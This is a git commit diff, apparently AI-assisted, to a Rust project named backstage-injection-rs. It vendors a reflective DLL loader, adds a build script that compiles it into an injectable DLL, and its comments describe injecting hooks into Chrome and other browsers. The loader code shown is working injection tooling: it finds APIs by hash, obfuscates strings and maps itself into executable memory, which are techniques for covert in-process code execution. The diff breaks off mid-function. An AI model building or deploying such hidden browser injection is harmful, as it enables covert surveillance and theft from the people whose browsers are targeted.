ai made test 2 reflection
This commit is contained in:
@@ -39,6 +39,9 @@ bin/
|
||||
*.out
|
||||
*.dll
|
||||
|
||||
# Local BackstageInjection test harness (kept out of version control)
|
||||
tools/hooktest/
|
||||
|
||||
# Certificates (auto-generated)
|
||||
certs/
|
||||
*.crt
|
||||
|
||||
@@ -1,7 +1,8 @@
|
||||
# Statically link the CRT so the injected DLL has no VCRUNTIME/UCRT DLL
|
||||
# dependency at runtime (Chrome and other targets may not have it preloaded).
|
||||
[target.x86_64-pc-windows-msvc]
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
|
||||
#
|
||||
# Only the GNU target is supported: the reflective loader manually maps the
|
||||
# image, and the MSVC CRT's TLS/CFG/stack-cookie machinery fast-fails
|
||||
# (0xC0000409) under a manual map. See scripts/build-backstage-dll.{sh,bat}.
|
||||
[target.x86_64-pc-windows-gnu]
|
||||
rustflags = ["-C", "target-feature=+crt-static"]
|
||||
Generated
+1
@@ -6,6 +6,7 @@ version = 4
|
||||
name = "backstage-injection-rs"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"cc",
|
||||
"minhook",
|
||||
]
|
||||
|
||||
|
||||
@@ -10,6 +10,9 @@ crate-type = ["cdylib"]
|
||||
[dependencies]
|
||||
minhook = "0.9.0"
|
||||
|
||||
[build-dependencies]
|
||||
cc = "1"
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = true
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
//! Compiles the vendored Harmony Security reflective loader
|
||||
//! (`reflective/ReflectiveLoader.c`, BSD-2-Clause, see file header) into the
|
||||
//! cdylib so the DLL exports `ReflectiveLoader`. The position-independent
|
||||
//! loader is intentionally kept in C: it is the exact loader the C reference
|
||||
//! DLL uses and re-implementing it in Rust would be unnecessary risk.
|
||||
|
||||
use std::path::PathBuf;
|
||||
|
||||
fn main() {
|
||||
let dir = PathBuf::from("reflective");
|
||||
for f in [
|
||||
"reflective/ReflectiveLoader.c",
|
||||
"reflective/ReflectiveLoader.h",
|
||||
"reflective/ReflectiveDLLInjection.h",
|
||||
"reflective/obfstr.h",
|
||||
] {
|
||||
println!("cargo:rerun-if-changed={f}");
|
||||
}
|
||||
|
||||
// Matches BackstageInjection.vcxproj (Release|x64): VIA_LOADREMOTELIBRARYR
|
||||
// lets ReflectiveLoader accept a thread-routine parameter (the agent and
|
||||
// child injenter pass NULL), and CUSTOM_DLLMAIN avoids emitting a second
|
||||
// DllMain (the Rust cdylib exports its own).
|
||||
let mut build = cc::Build::new();
|
||||
build
|
||||
.file("reflective/ReflectiveLoader.c")
|
||||
.include(dir)
|
||||
.opt_level(2)
|
||||
.static_crt(true)
|
||||
.cargo_metadata(false)
|
||||
.define("WIN64", None)
|
||||
.define("NDEBUG", None)
|
||||
.define("_WINDOWS", None)
|
||||
.define("_USRDLL", None)
|
||||
.define("WIN_X64", None)
|
||||
.define("REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR", None)
|
||||
.define("REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN", None);
|
||||
build.compile("reflective_loader");
|
||||
|
||||
// Force all members of the static lib into the DLL even though no Rust
|
||||
// symbol references them; `ReflectiveLoader` carries __declspec(dllexport)
|
||||
// and only becomes an export once its object file is actually linked.
|
||||
println!(
|
||||
"cargo:rustc-link-search=native={}",
|
||||
std::env::var("OUT_DIR").unwrap_or_default()
|
||||
);
|
||||
println!("cargo:rustc-link-lib=static:+whole-archive=reflective_loader");
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
|
||||
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
@@ -0,0 +1,562 @@
|
||||
//===============================================================================================//
|
||||
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "obfstr.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
// Store the parameter passed to ReflectiveLoader so DllMain can access it
|
||||
LPVOID g_lpReflectiveParameter = NULL;
|
||||
//===============================================================================================//
|
||||
#ifdef _MSC_VER
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#define RDI_NOINLINE __declspec(noinline)
|
||||
#else
|
||||
#define RDI_NOINLINE __attribute__((noinline))
|
||||
#endif
|
||||
|
||||
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||
// available (and no inline asm available under x64).
|
||||
RDI_NOINLINE ULONG_PTR caller(VOID)
|
||||
{
|
||||
#ifdef _MSC_VER
|
||||
return (ULONG_PTR)_ReturnAddress();
|
||||
#elif defined(__GNUC__) || defined(__clang__)
|
||||
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
|
||||
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
}
|
||||
//===============================================================================================//
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||
#else
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||
GETPROCADDRESS pGetProcAddress = NULL;
|
||||
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||
#ifdef WIN_X64
|
||||
FARPROC pRtlAddFunctionTable = NULL;
|
||||
#endif
|
||||
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
ULONG_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
ULONG_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
ULONG_PTR uiAddressArray;
|
||||
ULONG_PTR uiNameArray;
|
||||
ULONG_PTR uiExportDir;
|
||||
ULONG_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
ULONG_PTR uiHeaderValue;
|
||||
ULONG_PTR uiValueA;
|
||||
ULONG_PTR uiValueB;
|
||||
ULONG_PTR uiValueC;
|
||||
ULONG_PTR uiValueD;
|
||||
ULONG_PTR uiValueE;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our callers return address.
|
||||
uiLibraryAddress = caller();
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while (TRUE)
|
||||
{
|
||||
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef WIN_X64
|
||||
uiBaseAddress = __readgsqword(0x60);
|
||||
#else
|
||||
#ifdef WIN_X86
|
||||
uiBaseAddress = __readfsdword(0x30);
|
||||
#else WIN_ARM
|
||||
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||
#endif
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while (uiValueA)
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror((DWORD)uiValueC);
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if (*((BYTE*)uiValueB) >= 'a')
|
||||
uiValueC += *((BYTE*)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE*)uiValueB);
|
||||
uiValueB++;
|
||||
} while (--usCounter);
|
||||
|
||||
// compare the hash with that of kernel32.dll
|
||||
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF(uiValueA);
|
||||
}
|
||||
|
||||
#ifdef WIN_X64
|
||||
// Resolve RtlAddFunctionTable so we can register exception unwind data.
|
||||
// Without this, stack unwinding through our hook functions crashes browsers.
|
||||
{
|
||||
HMODULE hNtdll = (HMODULE)pLoadLibraryA(OBFS(_enc_ntdll_dll));
|
||||
if (hNtdll)
|
||||
pRtlAddFunctionTable = pGetProcAddress(hNtdll, OBFS(_enc_RtlAddFunctionTable));
|
||||
}
|
||||
#endif
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
// Guard against allocation failure (out-of-memory, ACG/CFG policy, etc.).
|
||||
// Without this check, every subsequent write to uiBaseAddress would be a
|
||||
// write through NULL — an access violation in the remote process.
|
||||
if (!uiBaseAddress)
|
||||
return 0;
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while (uiValueA--)
|
||||
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while (uiValueE--)
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while (uiValueD--)
|
||||
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
// we assume their is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// itterate through all imports
|
||||
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
|
||||
{
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while (DEREF(uiValueA))
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof(ULONG_PTR);
|
||||
if (uiValueD)
|
||||
uiValueD += sizeof(ULONG_PTR);
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
// check if their are any relocations present
|
||||
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||
{
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// and we itterate through all entries...
|
||||
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while (uiValueB--)
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
